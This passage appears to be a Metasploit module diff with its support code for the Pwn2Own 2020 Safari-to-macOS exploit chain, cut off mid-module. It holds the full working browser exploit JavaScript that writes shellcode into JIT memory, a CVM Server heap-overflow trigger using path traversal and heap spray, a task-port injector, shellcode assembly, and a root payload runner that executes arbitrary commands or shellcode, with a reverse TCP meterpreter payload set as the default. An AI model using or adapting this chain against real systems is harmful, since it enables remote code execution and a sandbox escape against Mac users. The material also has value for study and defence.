TX_CARG_LITERAL(uint64_t, 0),
TX_CARG_LITERAL(uint64_t, (0x1000 + library_end - library_start)),
TX_CARG_LITERAL(uint64_t, 7),
TX_CARG_LITERAL(uint64_t, MAP_JIT | MAP_ANON | MAP_PRIVATE),
TX_CARG_LITERAL(uint64_t, -1),
TX_CARG_LITERAL(uint64_t, 0)
);
printf("0x%lx\n", res);
printf("%p %p\n", dlopen, dlsym);
vm_write(port, res, (vm_offset_t)loader_start, loader_end - loader_start);
vm_write(port, res + 0x1000, (vm_offset_t)library_start, library_end - library_start);
first = false;
/* payload/loader/loader.bin:
0x00000055 e801000000 call 0x5b
0x0000005a c3 ret
*/
size_t entry_call_offset = 0x5b;
threadexec_call_cv(tx, &res2, sizeof(res), (void *)(res + entry_call_offset),
4,
TX_CARG_LITERAL(uint64_t, (res + 0x1000)),
TX_CARG_LITERAL(uint64_t, dlopen),
TX_CARG_LITERAL(uint64_t, dlsym),
TX_CARG_LITERAL(uint64_t, NULL)
);
puts("done!");
}
bool
trigger()
{
// xpc_connection_t spray_conn = spray();
xpc_connection_t conn = connect(true);
xpc_object_t msg;
char buf[0x1000];
strcpy(buf, "../../../../");
strcat(buf, tmpdir);
for(int i = 0; i < PATHRAND; i++)
strcat(buf, (rand() % 2) ? "./" : "//");
strcat(buf, "exp");
strcat(buf, prefix);
xpc_dictionary_set_string(init_msg, "framework_name", buf);
#define COUNT 1
for(int i = 0; i < COUNT; i++) {
xpc_connection_send_message_with_reply(conn, init_msg, NULL, ^(xpc_object_t resp) {
printf("Received second message: %p\n%s\n", resp, xpc_copy_description(resp));
});
msg = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(msg, "message", 7);
xpc_dictionary_set_uint64(msg, "heap_index", heap_index);
xpc_object_t resp = xpc_connection_send_message_with_reply_sync(conn, msg);
{
static int count = 0;
count++;
int pid = 0;
mach_port_t port = _xpc_dictionary_extract_mach_send((xpc_connection_t)resp, "vm_port");
printf("Received second message: %p\n%s\n", resp, xpc_copy_description(resp));
if(port) {
int res = pid_for_task(port, &pid);
printf("try: %d %d %d\n", port, res, pid);
if(!res) {
puts("success!");
spoof(port);
return true;
}
}
if(xpc_get_type(resp) == &_xpc_type_error) {
// exit(0);
}
}
}
return false;
}
void write_file(const char *buf, void *data, size_t size) {
int fd = open(buf, O_CREAT|O_WRONLY, 0777);
if(fd == -1) {
my_error("open");
exit(1);
}
write(fd, data, size);
close(fd);
}
void *cvm_main(void *) {
struct stat statbuf;
tmpdir = conf(0x10001);
if(stat("/System/Library/Frameworks/OpenGL.framework/Libraries/libLLVMContainer.dylib", &statbuf)) {
my_error("stat");
return NULL;
}
maps_exp_.lib_size = statbuf.st_size;
if(stat(PLUGIN_NAME, &statbuf)) {
my_error("stat");
return NULL;
}
maps_exp_.plugin_size = statbuf.st_size;
CC_SHA256(data_exp, sizeof(data_exp), maps_exp_.hash);
setvbuf(stdout, 0, _IONBF, 0);
sprintf(prefix, "%lX", clock());
char logpath[0x100];
sprintf(logpath, "%s/%s", tmpdir, "log.txt");
unlink(logpath);
close(0);
close(1);
close(2);
int fd = open(logpath, O_CREAT|O_WRONLY, 0777);
for(int i = 0; i < 3; i++)
dup(fd);
char buf[0x400];
int id = geteuid();
#define WRITE(type) \
snprintf(buf, sizeof(buf), "%s/%s%s.x86_64.%d.data", tmpdir, #type, prefix, id); \
write_file(buf, data_##type, data_##type##_size); \
snprintf(buf, sizeof(buf), "%s/%s%s.x86_64.%d.maps", tmpdir, #type, prefix, id); \
write_file(buf, maps_##type, maps_##type##_size);
{
size_t offsets[] = {
// 0x3b
};
uint32_t *addr = &mach_task_self_;
while(true) {
if(*addr == 0x103) {
break;
}
addr++;
}
for(int i = 0; i < sizeof(offsets) / sizeof(offsets[0]); i++) {
uint32_t **base = (uint32_t **)(maps_exp + 0x50 + offsets[i] * 8);
*base = addr;
}
}
{
size_t offsets[] = {
0xf, 0x11
};
// Just peek any library area that contains "0x103" dword in 8-byte aligned storage
extern size_t NSOwnedPointerHashCallBacks;
size_t *addr = &NSOwnedPointerHashCallBacks;
while(true) {
if(*addr == 0x103) {
break;
}
addr++;
}
/*
GetMemory(index)
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)
*/
size_t *target_addr = (size_t *)(((size_t *)&_xpc_error_termination_imminent)[4] + 0x10 - 0x38);
extern int num_frames;
heap_index = (0xaaaaaaaaaaaaaabLL * (
((size_t)addr - 0x10 -
((size_t *)target_addr[0x38 >> 3])[0x28 >> 3])
>> 3
) % (1LL << 61));
// index * 0x18 = (0x00007FFF9963CFB8 - 0x00007FFF9978EB68)
printf("0x%llX\n", heap_index);
for(unsigned long i = 0; i < sizeof(offsets) / sizeof(offsets[0]); i++) {
size_t **base = (size_t **)(maps_exp + 0x50 + offsets[i] * 8);
*base = target_addr;
}
}
WRITE(exp);
srand(time(NULL));
init_msg = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(init_msg, "message", 4);
struct {
uint64_t size;
int arch;
int flags;
} _id = {
0xFFFFFFFFFFF0000, 0x2, *(short *)&maps_exp[0x3c]
};
xpc_dictionary_set_value(init_msg, "args", xpc_data_create(&_id, 16));
spray_value(init_msg);
xpc_dictionary_set_string(init_msg, "bitcode_name", "");
xpc_dictionary_set_string(init_msg, "plugin_name", PLUGIN_NAME);
for(int i = 0; i < TRIAL; i++) {
for(int i = 0; i < 8; i++) {
spray();
}
if(trigger())
break;
usleep(200000);
}
// for(int i = 0; i < TRIAL; i++) {
// xpc_release(conn[i]);
// }
return NULL;
}
@@ -0,0 +1,124 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <pthread.h>
#include <signal.h>
#include <sys/sysctl.h>
char* get_arg0_of_pid(int pid) {
int mib[3];
mib[0] = CTL_KERN;
mib[1] = KERN_ARGMAX;
mib[2] = 0;
int argmax = 0;;
size_t size = sizeof(argmax);
if (sysctl(mib, 2, &argmax, &size, NULL, 0) == -1) {
return 0;
}
char* procargs = (char *)malloc(argmax);
if (procargs == NULL) {
return 0;
}
mib[0] = CTL_KERN;
mib[1] = KERN_PROCARGS2;
mib[2] = pid;
size = (size_t)argmax;
if (sysctl(mib, 3, procargs, &size, NULL, 0) == -1) {
free(procargs);
return 0;
}
char* returnarg0 = strdup(procargs + sizeof(int));
free(procargs);
return returnarg0;
}
int find_first_pid_matching(char* starting_arg) {
size_t start_len = strlen(starting_arg);
if (start_len < 1) {
return 0;
}
for (int i=0;i<65536;i++) {
char* arg0 = get_arg0_of_pid(i);
if (arg0) {
if (!strncmp(arg0, starting_arg, start_len)) {
int pid = i;
free(arg0);
return pid;
} else {
free(arg0);
}
}
}
return 0;
}
char randbuf[0x1000] = "";
void *handler(void *arg) {
char cvms_app_path[] = "/private/var/db/CVMS/";
while (true) {
int app_pid = find_first_pid_matching(cvms_app_path);
if (app_pid) {
kill(app_pid, SIGCONT);
break;
}
sleep(1);
}
char coreserv_path[] = "/System/Library/CoreServices/CoreServicesUIAgent.app/Contents/MacOS/CoreServicesUIAgent";
int popup_pid = find_first_pid_matching(coreserv_path);
if (popup_pid) {
kill(popup_pid, SIGKILL);
}
sleep(1);
unlink("/private/var/db/CVMS/m.app/Contents/PkgInfo");
unlink("/private/var/db/CVMS/m.app/Contents/Info.plist");
unlink("/private/var/db/CVMS/m.app/Contents/MacOS/popcalc");
rmdir("/private/var/db/CVMS/m.app/Contents/MacOS");
rmdir("/private/var/db/CVMS/m.app/Contents/Resources");
rmdir("/private/var/db/CVMS/m.app/Contents");
unlink("/private/var/db/CVMS/m.app");
rmdir(randbuf);
return 0;
}
void write_file(const char *path, const void *ptr, size_t size) {
int fd = open(path, O_CREAT | O_WRONLY, 0777);
write(fd, ptr, size);
close(fd);
}
void init_app() {
sprintf(randbuf, "/private/var/db/CVMS/");
chdir(randbuf);
unlink("m.app");
sprintf(randbuf, "%lu.app", clock());
symlink(randbuf, "m.app");
mkdir(randbuf, 0777);
chdir(randbuf);
#include "bundle.hh"
chdir("/private/var/db/CVMS");
}
int main() {
init_app();
pthread_t thread;
pthread_create(&thread, NULL, handler, NULL);
}
+21
View File
@@ -0,0 +1,21 @@
#!/usr/bin/env python3
import os, sys
os.chdir(sys.argv[1])
def recursive(path):
base = path
for path in os.listdir(path):
abspath = os.path.join(base, path).replace('\\', '/')
sys.stderr.write('Packing ' + abspath+'\n')
if os.path.isdir(abspath):
print("mkdir(\"%s\", 0777);" % abspath)
recursive(abspath)
else:
print("{")
print(" unsigned char content[] = {%s};" % ((', '.join('%d' % x for x in open(abspath, "rb").read()))))
print(" write_file(\"%s\", content, sizeof(content));" % abspath)
print("}")
recursive('.')
@@ -0,0 +1,2 @@
/Unrootless-Kext
/Unrootless
@@ -0,0 +1,12 @@
CFLAGS := -DCURRENT_DIR=\"$(CURDIR)\"
TARGET := app/Contents/MacOS/popcalc
all: $(TARGET)
$(TARGET): main.c
$(CC) $(CFLAGS) -o $@ $^
clean:
rm -f $(TARGET)
.PHONY: all clean
@@ -0,0 +1,52 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>BuildMachineOSBuild</key>
<string>19D76</string>
<key>CFBundleDevelopmentRegion</key>
<string>en</string>
<key>CFBundleExecutable</key>
<string>popcalc</string>
<key>CFBundleIdentifier</key>
<string>nogroup.popcalc</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>popcalc</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleSupportedPlatforms</key>
<array>
<string>MacOSX</string>
</array>
<key>CFBundleVersion</key>
<string>1</string>
<key>DTCompiler</key>
<string>com.apple.compilers.llvm.clang.1_0</string>
<key>DTPlatformBuild</key>
<string>11C504</string>
<key>DTPlatformVersion</key>
<string>GM</string>
<key>DTSDKBuild</key>
<string>19B90</string>
<key>DTSDKName</key>
<string>macosx10.15</string>
<key>DTXcode</key>
<string>1130</string>
<key>DTXcodeBuild</key>
<string>11C504</string>
<key>LSMinimumSystemVersion</key>
<string>10.15</string>
<key>NSHumanReadableCopyright</key>
<string>Copyright © 2020 setuid0. All rights reserved.</string>
<key>NSPrincipalClass</key>
<string>NSApplication</string>
<key>NSSupportsAutomaticTermination</key>
<true/>
<key>NSSupportsSuddenTermination</key>
<true/>
</dict>
</plist>
Binary file not shown.
@@ -0,0 +1 @@
APPL????
@@ -0,0 +1,34 @@
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
char root_payload[1024] = "ROOT_PAYLOAD_PLACEHOLDER";
void run_payload() {
if (!strncmp(root_payload, "CMD:", 4)) {
system(root_payload + 4);
} else {
if (root_payload[0] == 'R' &&
root_payload[1] == 'O' &&
root_payload[2] == 'O' &&
root_payload[3] == 'T') {
/*system("open /System/Applications/TextEdit.app");*/
/*system("open /System/Applications/Calculator.app");*/
return;
}
void *ptr = mmap(0, sizeof(root_payload), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
return;
}
memcpy(ptr, root_payload, sizeof(root_payload));
int (*sc)() = ptr;
sc();
}
}
int main() {
run_payload();
return 0;
}
@@ -0,0 +1,83 @@
#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#define WEBCORE_EXPORT
#include "ResourceError.h"
#import <CoreFoundation/CFError.h>
#import <Foundation/Foundation.h>
#include <wtf/URLParser.h>
#import <wtf/BlockObjCExceptions.h>
#import <wtf/NeverDestroyed.h>
namespace WTF {
}
namespace WebCore {
String getNSURLErrorDomain()
{
static const NeverDestroyed<String> errorDomain(NSURLErrorDomain);
return errorDomain.get();
}
}
using namespace WebCore;
class Client {
public:
};
class Document {
};
template<typename T>
class Wrapper {
public:
void *a, *b, *type;
T *wrapped;
};
__asm__(".quad 0x13371337, 0\njmp _main");
void *cvm_main(void *);
extern "C"
int main(int, char **args) {
uint64_t document_addr = (uint64_t)((Wrapper<Document> *)args[0])->wrapped;
char product[256] = {0};
size_t strsize = sizeof(product);
int ret = sysctlbyname("kern.osproductversion", product, &strsize, NULL, 0);
// 10.15.4
uint64_t frame_offset = 0x160;
uint64_t loader_offset = 0x88;
uint64_t vtable_offset = 0x138;
if (!strcmp(product, "10.15.3")) {
frame_offset = 0x1a0;
loader_offset = 0x98;
vtable_offset = 0x140;
}
uint64_t frame = (uint64_t)*(uint64_t*)(document_addr + frame_offset);
uint64_t loaderptr = (uint64_t)*(uint64_t*)(frame + loader_offset);
uint64_t clientuint = (uint64_t)*(uint64_t*)(loaderptr + 8);
uint64_t clientvftable = (uint64_t)*(uint64_t*)clientuint;
void* func_ptr = (void*)*(uint64_t*)(clientvftable + vtable_offset);
Client* client = (Client*)clientuint;
pthread_t thread;
pthread_create(&thread, NULL, cvm_main, NULL);
pthread_join(thread, NULL);
char buf[0x400] = "file:///var/db/CVMS/m.app";
ResourceError error(getNSURLErrorDomain(), -1101, {{}, buf}, "yee");
typedef void (*t_dispatchDidFailProvisionalLoad)(Client *self, ResourceError &error, bool continueLoading);
t_dispatchDidFailProvisionalLoad WebFrameLoaderClient_dispatchDidFailProvisionalLoad = (t_dispatchDidFailProvisionalLoad)func_ptr;
WebFrameLoaderClient_dispatchDidFailProvisionalLoad(client, error, true);
sleep(8);
return 0;
}
@@ -0,0 +1,56 @@
diff -bur threadexec-orig/src/thread_call.c threadexec/src/thread_call.c
--- threadexec-orig/src/thread_call.c 2020-03-13 21:38:03.000000000 -0400
+++ threadexec/src/thread_call.c 2020-03-13 20:16:57.000000000 -0400
@@ -17,6 +17,7 @@
#if __arm64__
impl = thread_save_state_arm64;
#endif
+ return NULL;
if (impl == NULL) {
DEBUG_TRACE(1, "%s: No implementation available for this platform", __func__);
return false;
@@ -31,6 +32,7 @@
#if __arm64__
impl = thread_restore_state_arm64;
#endif
+ return NULL;
if (impl == NULL) {
DEBUG_TRACE(1, "%s: No implementation available for this platform", __func__);
return false;
diff -bur threadexec-orig/src/threadexec_call.c threadexec/src/threadexec_call.c
--- threadexec-orig/src/threadexec_call.c 2020-03-13 21:38:03.000000000 -0400
+++ threadexec/src/threadexec_call.c 2020-03-13 20:16:57.000000000 -0400
@@ -4,6 +4,7 @@
#include "tx_log.h"
#include <assert.h>
+#include <stdio.h>
bool
threadexec_call_fast(threadexec_t threadexec, void *result, size_t result_size,
@@ -57,6 +58,7 @@
size_t shmem_position = 0;
for (size_t i = 0; i < argument_count; i++) {
enum threadexec_value_disposition disposition = arguments[i].disposition;
+ printf("%d\n", disposition);
switch (disposition) {
case TX_DISPOSITION_LITERAL:
literal_arguments[i].value = arguments[i].value;
diff -bur threadexec-orig/src/tx_call.c threadexec/src/tx_call.c
--- threadexec-orig/src/tx_call.c 2020-03-13 21:38:03.000000000 -0400
+++ threadexec/src/tx_call.c 2020-03-13 20:16:57.000000000 -0400
@@ -10,10 +10,10 @@
tx_preserve(threadexec_t threadexec) {
assert(threadexec->preserve_state == NULL && threadexec->thread != MACH_PORT_NULL);
const void *state = thread_save_state(threadexec->thread);
- if (state == NULL) {
- ERROR("Could not preserve thread 0x%x", threadexec->thread);
- return false;
- }
+ // if (state == NULL) {
+ // ERROR("Could not preserve thread 0x%x", threadexec->thread);
+ // return false;
+ // }
threadexec->preserve_state = state;
return true;
}
@@ -0,0 +1,49 @@
BITS 64
mov rbp, [rsp + 0x28]
add rbp, 0x10
; rsi = argv[0] (stage1_arr)
mov rax, [rbp]
; esi = stage1_arr.length
mov esi, [rax + 0x18]
mov edi, 0
mov edx, 7
mov ecx, 0x1802
mov r8d, -1
mov r9, 0
push rbx
push rcx
push rbp
push r10
push r12
push r13
push r14
push r15
mov eax, 20000C5h
mov r10, rcx
syscall
pop r15
pop r14
pop r13
pop r12
pop r10
pop rbp
pop rcx
pop rbx
push rax
mov rdi, rax
; rsi = argv[0] (stage1_arr)
mov rax, [rbp]
; ecx = stage1_arr.length
mov ecx, [rax + 0x18]
; rsi = stage1_arr.vector
mov rsi, [rax + 0x10]
cld
rep movsb
ret
@@ -6,6 +6,7 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
@@ -61,11 +62,6 @@ class MetasploitModule < Msf::Exploit::Remote
])
end
def exploit_data(directory, file)
path = ::File.join Msf::Config.data_directory, 'exploits', directory, file
::File.binread path
end
def payload_url
"tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
end
@@ -304,8 +300,8 @@ function get_mem_rw(stage1) {
^
get_mem_rw = (version >= Gem::Version.new('11.2.2')) ? get_mem_rw_ios_11 : get_mem_rw_ios_10
utils = exploit_data "CVE-2018-4233", "utils.js"
int64 = exploit_data "CVE-2018-4233", "int64.js"
utils = exploit_data "javascript_utils", "utils.js"
int64 = exploit_data "javascript_utils", "int64.js"
dump_offsets = ''
if datastore['DUMP_OFFSETS']
dump_offsets = %Q^
@@ -0,0 +1,568 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Post::File
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Safari in Operator Side Effect Exploit',
'Description' => %q{
This module exploits an incorrect side-effect modeling of the 'in' operator.
The DFG compiler assumes that the 'in' operator is side-effect free, however
the <embed> element with the PDF plugin provides a callback that can trigger
side-effects leading to type confusion (CVE-2020-9850).
The type confusion can be used as addrof and fakeobj primitives that then
lead to arbitrary read/write of memory. These primitives allow us to write
shellcode into a JIT region (RWX memory) containing the next stage of the
exploit.
The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server,
and extracts a macOS application containing our payload into /var/db/CVMS.
The payload can then be opened with CVE-2020-9801, executing the payload
as a user but without sandbox restrictions.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
'timwr' # metasploit integration
],
'References' => [
['CVE', '2020-9801'],
['CVE', '2020-9850'],
['CVE', '2020-9856'],
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DisclosureDate' => 'Mar 18 2020'
)
)
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit javascript', false]),
])
end
def exploit_js
<<~JS
const DUMMY_MODE = 0;
const ADDRESSOF_MODE = 1;
const FAKEOBJ_MODE = 2;
function pwn() {
let otherWindow = document.getElementById('frame').contentWindow;
let innerDiv = otherWindow.document.querySelector('div');
if (!innerDiv) {
print("Failed to get innerDiv");
return;
}
let embed = otherWindow.document.querySelector('embed');
otherWindow.document.body.removeChild(embed);
otherWindow.document.body.removeChild(otherWindow.annotationContainer);
const origFakeObjArr = [1.1, 1.1];
const origAddrOfArr = [2.2, 2.2];
let fakeObjArr = Array.from(origFakeObjArr);
let addressOfArr = Array.from(origAddrOfArr);
let addressOfTarget = {};
let sideEffectMode = DUMMY_MODE;
otherWindow.document.body.addEventListener('DOMSubtreeModified', () => {
if (sideEffectMode == DUMMY_MODE)
return;
else if (sideEffectMode == FAKEOBJ_MODE)
fakeObjArr[0] = {};
else if (sideEffectMode == ADDRESSOF_MODE)
addressOfArr[0] = addressOfTarget;
});
print('Callback is registered');
otherWindow.document.body.appendChild(embed);
let triggerArr;
function optFakeObj(triggerArr, arr, addr) {
arr[1] = 5.5;
let tmp = 0 in triggerArr;
arr[0] = addr;
return tmp;
}
function optAddrOf(triggerArr, arr) {
arr[1] = 6.6;
let tmp = 0 in triggerArr;
return [arr[0], tmp];
}
function prepare() {
triggerArr = [7.7, 8.8];
triggerArr.__proto__ = embed;
sideEffectMode = DUMMY_MODE;
for (var i = 0; i < 1e5; i++) {
optFakeObj(triggerArr, fakeObjArr, 9.9);
optAddrOf(triggerArr, addressOfArr);
}
delete triggerArr[0];
}
function cleanup() {
otherWindow.document.body.removeChild(embed);
otherWindow.document.body.appendChild(embed);
if (sideEffectMode == FAKEOBJ_MODE)
fakeObjArr = Array.from(origFakeObjArr);
else if (sideEffectMode == ADDRESSOF_MODE)
addressOfArr = Array.from(origAddrOfArr);
sideEffectMode = DUMMY_MODE;
}
function addressOf(obj) {
addressOfTarget = obj;
sideEffectMode = ADDRESSOF_MODE;
let ret = optAddrOf(triggerArr, addressOfArr)[0];
cleanup();
return Int64.fromDouble(ret);
}
function fakeObj(addr) {
sideEffectMode = FAKEOBJ_MODE;
optFakeObj(triggerArr, fakeObjArr, addr.asDouble());
let ret = fakeObjArr[0];
cleanup();
return ret;
}
prepare();
print("Prepare is done");
let hostObj = {
_: 1.1,
length: (new Int64('0x4141414141414141')).asDouble(),
id: new Int64([
0, 0, 0, 0, // m_structureID
0x17, // m_indexingType
0x19, // m_type
0x08, // m_flags
0x1 // m_cellState
]).asJSValue(),
butterfly: 0,
o:1,
executable:{
a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58)
unlinkedExecutable:{
isBuiltinFunction: 1 << 31,
b:0, c:0, d:0, e:0, f:0, g:0, // Padding (offset: 0x48)
identifier: null
}
},
strlen_or_id: (new Int64('0x10')).asDouble(),
target: null
}
// Structure ID leak of hostObj.target
hostObj.target=hostObj
var hostObjRawAddr = addressOf(hostObj);
var hostObjBufferAddr = Add(hostObjRawAddr, 0x20)
var fakeHostObj = fakeObj(hostObjBufferAddr);
var fakeIdentifier = fakeObj(Add(hostObjRawAddr, 0x40));
hostObj.executable.unlinkedExecutable.identifier=fakeIdentifier
let rawStructureId=Function.prototype.toString.apply(fakeHostObj)
let leakStructureId=Add(new Int64(
rawStructureId[9].charCodeAt(0)+rawStructureId[10].charCodeAt(0)*0x10000
), new Int64([
0, 0, 0, 0, // m_structureID
0x07, // m_indexingType
0x22, // m_type
0x06, // m_flags
0x1 // m_cellState
]))
print('Leaked structure ID: ' + leakStructureId);
hostObj.strlen_or_id = hostObj.id = leakStructureId.asDouble();
hostObj.butterfly = fakeHostObj;
addressOf = function(obj) {
hostObj.o = obj;
return Int64.fromDouble(fakeHostObj[2]);
}
fakeObj = function(addr) {
fakeHostObj[2] = addr.asDouble();
return hostObj.o;
}
print('Got reliable addressOf/fakeObj');
let rwObj = {
_: 1.1,
length: (new Int64('0x4141414141414141')).asDouble(),
id: leakStructureId.asDouble(),
butterfly: 1.1,
__: 1.1,
innerLength: (new Int64('0x4141414141414141')).asDouble(),
innerId: leakStructureId.asDouble(),
innerButterfly: 1.1,
}
var rwObjBufferAddr = Add(addressOf(rwObj), 0x20);
var fakeRwObj = fakeObj(rwObjBufferAddr);
rwObj.butterfly = fakeRwObj;
var fakeInnerObj = fakeObj(Add(rwObjBufferAddr, 0x20));
rwObj.innerButterfly = fakeInnerObj;
function read64(addr) {
// We use butterfly and it depends on its size in -1 index
// Thus, we keep searching non-zero value to read value
for (var i = 0; i < 0x1000; i++) {
fakeRwObj[5] = Sub(addr, -8 * i).asDouble();
let value = fakeInnerObj[i];
if (value) {
return Int64.fromDouble(value);
}
}
throw 'Failed to read: ' + addr;
}
function write64(addr, value) {
fakeRwObj[5] = addr.asDouble();
fakeInnerObj[0] = value.asDouble();
}
function makeJITCompiledFunction() {
var obj = {};
// Some code to avoid inlining...
function target(num) {
num ^= Math.random() * 10000;
num ^= 0x70000001;
num ^= Math.random() * 10000;
num ^= 0x70000002;
num ^= Math.random() * 10000;
num ^= 0x70000003;
num ^= Math.random() * 10000;
num ^= 0x70000004;
num ^= Math.random() * 10000;
num ^= 0x70000005;
num ^= Math.random() * 10000;
num ^= 0x70000006;
num ^= Math.random() * 10000;
num ^= 0x70000007;
num ^= Math.random() * 10000;
num ^= 0x70000008;
num ^= Math.random() * 10000;
num ^= 0x70000009;
num ^= Math.random() * 10000;
num ^= 0x7000000a;
num ^= Math.random() * 10000;
num ^= 0x7000000b;
num ^= Math.random() * 10000;
num ^= 0x7000000c;
num ^= Math.random() * 10000;
num ^= 0x7000000d;
num ^= Math.random() * 10000;
num ^= 0x7000000e;
num ^= Math.random() * 10000;
num ^= 0x7000000f;
num ^= Math.random() * 10000;
num ^= 0x70000010;
num ^= Math.random() * 10000;
num ^= 0x70000011;
num ^= Math.random() * 10000;
num ^= 0x70000012;
num ^= Math.random() * 10000;
num ^= 0x70000013;
num ^= Math.random() * 10000;
num ^= 0x70000014;
num ^= Math.random() * 10000;
num ^= 0x70000015;
num ^= Math.random() * 10000;
num ^= 0x70000016;
num ^= Math.random() * 10000;
num ^= 0x70000017;
num ^= Math.random() * 10000;
num ^= 0x70000018;
num ^= Math.random() * 10000;
num ^= 0x70000019;
num ^= Math.random() * 10000;
num ^= 0x7000001a;
num ^= Math.random() * 10000;
num ^= 0x7000001b;
num ^= Math.random() * 10000;
num ^= 0x7000001c;
num ^= Math.random() * 10000;
num ^= 0x7000001d;
num ^= Math.random() * 10000;
num ^= 0x7000001e;
num ^= Math.random() * 10000;
num ^= 0x7000001f;
num ^= Math.random() * 10000;
num ^= 0x70000020;
num ^= Math.random() * 10000;
num &= 0xffff;
return num;
}
// Force JIT compilation.
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
}
function getJITCodeAddr(func) {
var funcAddr = addressOf(func);
print("Target function @ " + funcAddr.toString());
var executableAddr = read64(Add(funcAddr, 3 * 8));
print("Executable instance @ " + executableAddr.toString());
var jitCodeAddr = read64(Add(executableAddr, 3 * 8));
print("JITCode instance @ " + jitCodeAddr.toString());
if (And(jitCodeAddr, new Int64('0xFFFF800000000000')).toString() != '0x0000000000000000' ||
And(Sub(jitCodeAddr, new Int64('0x100000000')), new Int64('0x8000000000000000')).toString() != '0x0000000000000000') {
jitCodeAddr = Add(ShiftLeft(read64(Add(executableAddr, 3 * 8 + 1)), 1), 0x100);
print("approx. JITCode instance @ " + jitCodeAddr.toString());
}
return jitCodeAddr;
}
function setJITCodeAddr(func, addr) {
var funcAddr = addressOf(func);
print("Target function @ " + funcAddr.toString());
var executableAddr = read64(Add(funcAddr, 3 * 8));
print("Executable instance @ " + executableAddr.toString());
write64(Add(executableAddr, 3 * 8), addr);
}
function getJITFunction() {
var shellcodeFunc = makeJITCompiledFunction();
shellcodeFunc();
var jitCodeAddr = getJITCodeAddr(shellcodeFunc);
return [shellcodeFunc, jitCodeAddr];
}
var [_JITFunc, rwxMemAddr] = getJITFunction();
for (var i = 0; i < stage0.length; i++)
write64(Add(rwxMemAddr, i), new Int64(stage0[i]));
setJITCodeAddr(alert, rwxMemAddr);
var argv = {
a0: stage1Arr,
a1: stage2Arr,
doc: document,
a2: 0x41414141,
a3: 0x42424242,
a4: 0x43434343,
};
alert(argv);
}
var ready = new Promise(function(resolve) {
if (typeof(window) === 'undefined')
resolve();
else
window.onload = function() {
resolve();
}
});
ready.then(function() {
try {
pwn()
} catch (e) {
print("Exception caught: " + e);
location.reload();
}
}).catch(function(err) {
print("Initializatin failed");
});
JS
end
def offset_table
{
'placeholder' => {
jsc_confstr_stub: 0x0FF5370041414141,
jsc_llint_entry_call: 0x0FF5370041414142,
libsystem_c_confstr: 0x0FF5370041414143,
libsystem_c_dlopen: 0x0FF5370041414144,
libsystem_c_dlsym: 0x0FF5370041414145
},
'10.15.3' => {
jsc_confstr_stub: 0xE7D8B4,
jsc_llint_entry_call: 0x361f13,
libsystem_c_confstr: 0x2644,
libsystem_c_dlopen: 0x80430,
libsystem_c_dlsym: 0x80436
},
'10.15.4' => {
jsc_confstr_stub: 0xF96446,
jsc_llint_entry_call: 0x380a1d,
libsystem_c_confstr: 0x2be4,
libsystem_c_dlopen: 0x8021e,
libsystem_c_dlsym: 0x80224
}
}
end
def get_offsets(user_agent)
if user_agent =~ /Intel Mac OS X (.*?)\)/
osx_version = Regexp.last_match(1).gsub('_', '.')
if user_agent =~ %r{Version/(.*?) }
if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('13.1')
print_warning "Safari version #{Regexp.last_match(1)} is not vulnerable"
return false
else
print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable"
end
end
mac_osx_version = Gem::Version.new(osx_version)
if mac_osx_version >= Gem::Version.new('10.15.5')
print_warning "macOS version #{mac_osx_version} is not vulnerable"
elsif mac_osx_version < Gem::Version.new('10.14')
print_warning "macOS version #{mac_osx_version} is not supported"
elsif offset_table.key?(osx_version)
return offset_table[osx_version]
else
print_warning "No offsets for version #{mac_osx_version}"
end
else
print_warning 'Unexpected User-Agent'
end
return false
end
def on_request_uri(cli, request)
